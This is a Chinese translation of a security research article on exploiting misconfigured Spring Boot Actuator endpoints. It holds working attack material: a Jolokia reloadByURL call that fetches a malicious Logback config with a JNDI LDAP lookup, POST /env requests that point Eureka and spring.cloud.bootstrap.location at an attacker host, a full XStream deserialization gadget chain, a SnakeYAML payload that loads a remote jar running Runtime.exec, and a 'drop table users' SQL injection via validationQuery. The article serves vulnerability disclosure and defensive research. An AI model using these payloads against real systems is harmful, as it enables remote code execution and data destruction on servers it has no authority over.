65.9K
CodeProject 正在变化。 阅读更多。
Home

利用 Spring Boot Actuators

emptyStarIconemptyStarIconemptyStarIconemptyStarIconemptyStarIcon

0/5 (0投票)

2019年5月14日

CPOL
viewsIcon

8882

对于 Spring Boot 1 - 1.4,许多端点无需身份验证即可访问,这会带来严重的安全问题。

Spring Boot 框架包含一些称为 Actuators 的功能,用于在生产环境中监控和管理 Web 应用程序。它们旨在用于审计、健康检查和指标收集,但如果配置不当,它们也可能为您的服务器打开一扇隐藏的门。

当 Spring Boot 应用程序运行时,它会自动将几个端点(例如 '/health'、'/trace'、'/beans'、'/env' 等)注册到路由进程中。对于 Spring Boot 1 - 1.4,它们无需身份验证即可访问,这会带来严重的安全问题。从 Spring 版本 1.5 开始,除 '/health' 和 '/info' 之外的所有端点都被视为敏感且默认受到保护,但这种安全保护通常会被应用程序开发者禁用。

以下 Actuator 端点可能存在安全隐患,导致潜在漏洞:

  • /dump - 显示线程转储(包括堆栈跟踪)
  • /trace - 显示最近的几个 HTTP 消息(可能包含会话标识符)
  • /logfile - 输出日志文件的内容
  • /shutdown - 关闭应用程序
  • /mappings - 显示所有 MVC 控制器映射
  • /env - 提供对配置环境的访问
  • /restart - 重启应用程序

在 Spring 1.x 中,它们注册在根 URL 下,而在 2.x 中,它们被移到了 "/actuator/" 基础路径下。

漏洞利用

大多数 Actuators 只支持 GET 请求,并且主要用于暴露敏感的配置数据,但其中几个对于“Shell 查找者”来说特别有趣。

1. 通过 '/jolokia' 进行远程代码执行

如果 Jolokia 库存在于目标应用程序的类路径中,Spring Boot 会自动通过 '/jolokia' Actuator 端点将其暴露。Jolokia 允许通过 HTTP 访问所有注册的 MBean,并且设计用于执行与 JMX 相同的操作。可以使用以下 URL 列出所有可用的 MBean 操作:

http://127.0.0.1:8090/jolokia/list

同样,大多数 MBean 操作只是暴露一些系统数据,但有一个操作特别有趣:

Logback 库提供的 'reloadByURL' 操作允许我们从外部 URL 重新加载日志记录配置。只需访问以下 URL 即可触发:

那么,为什么我们要关心日志配置呢?主要有两个原因:

  1. 配置是 XML 格式的,Logback 在解析时启用了外部实体,因此容易受到盲 XXE 漏洞的攻击。
  2. Logback 配置具有“'从 JNDI 获取变量'”功能。在 XML 文件中,我们可以包含一个类似 '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' 的标签,其中 'name' 属性将被传递给 `DirContext.lookup()` 方法。如果我们能够将任意名称提供给 `lookup()` 函数,我们甚至不需要 XXE 或 HeapDump,因为它就可以实现完全的 **远程代码执行**。

工作原理

1. 攻击者请求上述 URL 来执行 'qos.logback.classic.jmx.JMXConfigurator' 类提供的 'reloadByURL' 函数。

2. 'reloadByURL' 函数从 http://artsploit.com/logback.xml 下载新的配置并将其作为 Logback 配置进行解析。此恶意配置应包含以下内容:

<configuration>
  <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. 当此文件在易受攻击的服务器上解析时,它会在“env-entry-name”参数值指定的攻击者控制的 LDAP 服务器上建立连接,从而导致 JNDI 解析。恶意 LDAP 服务器可能会返回一个带有“Reference”类型的对象,以触发在目标应用程序上 **执行提供的字节码**。JNDI 攻击在此 MicroFocus 研究论文 中得到了很好的解释。前面在我们的博客中描述的 新的 JNDI 漏洞利用技术 在此处也适用,因为 Tomcat 是 Spring Boot 框架中的默认应用程序服务器。

2. 通过 '/env' 修改配置

如果 Spring Cloud 库存在于类路径中,'/env' 端点允许您修改 Spring 环境属性。所有被注解为 '@ConfigurationProperties' 的 Bean 都可以被修改和重新绑定。我们可以控制的属性有很多,但并非全部,它们列在 '/configprops' Actuator 端点上。实际上,有很多属性,但并不清楚我们需要修改什么才能实现目标。经过几天的探索,我们发现了这个:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

此属性将 Eureka 的 `serviceURL` 修改为任意值。Eureka 服务器通常用作发现服务器,几乎所有 Spring Cloud 应用程序都会在该服务器上注册并向其发送状态更新。如果您幸运地在目标类路径中拥有 Eureka-Client <1.8.7(它通常包含在 Spring Cloud Netflix 中),则可以利用其中的 **XStream 反序列化漏洞**。您需要做的就是通过 '/env' 将 'eureka.client.serviceUrl.defaultZone' 属性设置为您的服务器 URL(http://artsploit.com/n/xstream),然后调用 '/refresh' 端点。之后,您的服务器应该提供具有以下内容的 XStream 有效负载:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

此 XStream 有效负载是来自 Marshalsec 研究 的 ImageIO JDK 独占 Gadget Chain 的轻微修改版本。唯一的区别是使用了 `LinkedHashSet` 来触发 'jdk.nashorn.internal.objects.NativeString.hashCode()' 方法。原始有效负载利用 java.lang.Map 来实现相同的行为,但 Eureka 的 XStream 配置对 Map 有一个 自定义转换器,使其无法使用。上面的有效负载根本不使用 Map,并且可以在没有额外限制的情况下实现远程代码执行。

使用 Spring Actuators,即使您无法访问内部 Eureka 服务器,也可以利用此漏洞,您只需要一个可用的“/env”端点。

其他有用的设置

spring.datasource.tomcat.validationQuery=drop+table+users - 允许您指定任何 SQL 查询,该查询将自动针对当前数据库执行。它可以是任何语句,包括插入、更新或删除。

Exploiting Spring Boot Actuators Drop Table

spring.datasource.tomcat.url=jdbc:hsqldb:https://:3002/xdb - 允许您修改当前的 JDBC 连接字符串。

最后一个看起来不错,但问题是当运行数据库连接的应用程序已经建立连接后,仅仅更新 JDBC 字符串不会产生任何效果。希望还有另一个属性可以帮助我们解决这个问题:

spring.datasource.tomcat.max-active=777

我们可以利用这里的技巧来增加与数据库的并发连接数。因此,我们可以更改 JDBC 连接字符串,增加连接数,然后发送大量请求到应用程序以模拟高负载。在高负载下,应用程序将使用更新后的恶意 JDBC 字符串创建一个新的数据库连接。我在本地针对 Mysql 测试了此技术,效果非常好。

Exploiting Spring Boot Actuators Max Active

除此之外,还有其他看起来很有趣的属性,但实际上并没有什么用:

spring.datasource.url - 数据库连接字符串(仅用于第一次连接)

spring.datasource.jndiName - 数据库 JNDI 字符串(仅用于第一次连接)

spring.datasource.tomcat.dataSourceJNDI - 数据库 JNDI 字符串(根本不使用)

spring.cloud.config.uri=http://artsploit.com/ - spring cloud 配置 URL(应用程序启动后无效,仅使用初始值)。

这些属性除非调用 '/restart' 端点,否则不会生效。该端点会重启所有 ApplicationContext,但默认情况下是禁用的。

还有许多其他有趣的属性,但大多数属性更改后不会立即生效。

注意: 在 Spring Boot 2.x 中,通过 '/env' 端点修改属性的请求格式略有不同(它使用 JSON 格式),但原理是相同的。

易受攻击的应用程序示例

如果您想在本地测试此漏洞,我在我的 Github 页面上创建了一个 简单的 Spring Boot 应用程序。除了数据库设置(除非您进行配置),所有有效负载都应该在那里工作。

黑盒发现

默认 Actuators 的完整列表可以在这里找到:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt。请记住,应用程序开发者可以使用 @Endpoint 注解创建自己的端点。

2019 年 5 月更新

有一种更可靠的方法可以通过修改 Spring 环境属性来实现 RCE。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

此请求修改了 'spring.cloud.bootstrap.location' 属性,该属性用于加载外部配置并以 YAML 格式解析。为了实现这一点,我们还需要调用 '/refresh' 端点。

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

当 YAML 配置从远程服务器获取时,它会使用 SnakeYAML 库进行解析,而 SnakeYAML 也容易受到反序列化攻击。有效负载(yaml-payload.yml)可以使用上述 Marshalsec 研究生成。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

反序列化此文件会触发使用提供的 `URLClassLoader` 执行 `ScriptEngineManager` 的构造函数。简而言之,这会导致 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)' 方法被调用,该方法会尝试在类路径的所有库中查找 'ScriptEngineFactory' 接口的所有实现。由于我们可以通过 `URLClassLoader` 添加新库,因此我们可以提供一个包含恶意字节码的新 'ScriptEngineFactory'。为了做到这一点,我们需要创建一个 jar 存档,其中包含以下必需文件:yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class 应该包含实际的字节码,其中包含构造函数中的恶意有效负载。

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
 
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory 应该只是一个文本文件,其中包含 'artsploit.AwesomeScriptEngineFactory' 的完整引用,以便 `ServiceLoader` 知道在哪里可以找到该类:artsploit.AwesomeScriptEngineFactory 同样,此漏洞利用技术需要 spring cloud 存在于类路径中,但与 Eureka 的 XStream 有效负载相比,它即使在最新版本中也有效。您可以在我的 github 项目中找到完整的有效负载:yaml-payload

© . All rights reserved.